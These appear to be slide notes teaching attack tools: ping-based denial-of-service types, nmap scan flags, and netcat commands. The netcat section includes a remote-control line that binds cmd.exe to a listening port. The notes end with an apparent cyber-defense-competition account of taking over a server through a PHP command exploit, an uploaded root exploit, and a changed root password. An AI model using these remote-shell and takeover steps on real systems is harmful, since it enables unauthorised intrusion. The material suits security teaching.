ICMP Ping

- Ping
- Ping of Death
- Ping Flood (-f)
- Smurf Attack

nmap

- Scan a Network Device to determine State of Ports
- Port States
  - Open, Closed, Filtered.
- Useful Flags
  - -sS, -sT, -P0, sU, -A = -sV + -O
  - And many many more...
- Great man page - go read it

netcat

Linked terminals example

```
$ nc -l 1234
$ nc 127.0.0.1 1234
```

File transfers & Backups

```
$ nc -l 1234 > filename.out
$ nc host.example.com 1234 < filename.in -or- tar -cf /
```

Port scanning

```
nc -v -z host.example.com 20-30
```

GAPING_SECURITY_HOLE flag (allows exec of other progs)

Remote Control

```
nc -L #targetip -p #port-number -v -t -d -e cmd.exe
nc -v #targetip #port-number
```

CDC Situation

- Ran nmap:
  - Found Firewall, only port 80 open
  - Got the apache version, but not enough info for OS, suspect linux.
- Used a PHP exploit to run system cmds via website (only as apache user)
  - Found netcat installed
  - Determined the OS distro & version
  - no gcc installed.
- Need a way to run remote exploit that we found for this version of apache on this type of system.
- Set up netcat on our box
- Used netcat via web cmd exploit to connect to box
- Transfered a binary of the remote exploit, and ran it via the web cmd interface
- Then su'ed to the newly created root account.
- Changed actual Root Password and rebooted
- Have a Nice Day =).